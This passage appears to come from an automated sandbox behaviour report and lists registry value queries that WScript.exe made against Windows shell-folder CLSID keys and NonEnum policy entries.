"HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "WANTSFORPARSING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "WANTSPARSEDISPLAYNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "QUERYFOROVERLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "MAPNETDRIVEVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "QUERYFORINFOTIP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "HIDEONDESKTOPPERUSER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "WANTSALIASEDNOTIFICATIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "WANTSUNIVERSALDELEGATE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "NOFILEFOLDERJUNCTION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "PINTONAMESPACETREE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "HASNAVIGATIONENUM"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "ENABLETHUMBNAILS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "NODEFAULTTOFS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "PARSEDISPLAYNAMENEEDSURL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "BLOCKNEWFILE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "NOINITREQUIRED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "SAFEROOTFORMTA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "WANTSSENDTOTARGET"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: "NOLOCALIZEDNAMEINTARGET"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "WANTSFORPARSING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "WANTSPARSEDISPLAYNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "QUERYFOROVERLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "MAPNETDRIVEVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "QUERYFORINFOTIP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "HIDEONDESKTOPPERUSER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "WANTSALIASEDNOTIFICATIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "WANTSUNIVERSALDELEGATE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "NOFILEFOLDERJUNCTION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "PINTONAMESPACETREE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "HASNAVIGATIONENUM"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "ENABLETHUMBNAILS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "NODEFAULTTOFS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "PARSEDISPLAYNAMENEEDSURL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "BLOCKNEWFILE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "NOINITREQUIRED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "SAFEROOTFORMTA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "WANTSSENDTOTARGET"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: "NOLOCALIZEDNAMEINTARGET"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{4336A54D-038B-4685-AB02-99BB52D3FB8B}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{450D8FBA-AD25-11D0-98A8-0800361B1103}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{64693913-1C21-4F30-A98F-4E52906D3B56}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{89D83576-6BD1-4C86-9454-BEB04E94C819}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{9343812E-1C37-4A49-A12E-4B2D810D956B}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{98F275B4-4FFF-11E0-89E2-7B86DFD72085}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{A00EE528-EBD9-48B8-944A-8942113D46AC}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "WANTSFORPARSING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "WANTSPARSEDISPLAYNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "QUERYFOROVERLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "MAPNETDRIVEVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "QUERYFORINFOTIP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "HIDEONDESKTOPPERUSER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "WANTSALIASEDNOTIFICATIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "WANTSUNIVERSALDELEGATE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "NOFILEFOLDERJUNCTION"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "PINTONAMESPACETREE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "HASNAVIGATIONENUM"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "ENABLETHUMBNAILS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "NODEFAULTTOFS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "PARSEDISPLAYNAMENEEDSURL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "BLOCKNEWFILE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "NOINITREQUIRED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "SAFEROOTFORMTA"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "WANTSSENDTOTARGET"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: "NOLOCALIZEDNAMEINTARGET"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: 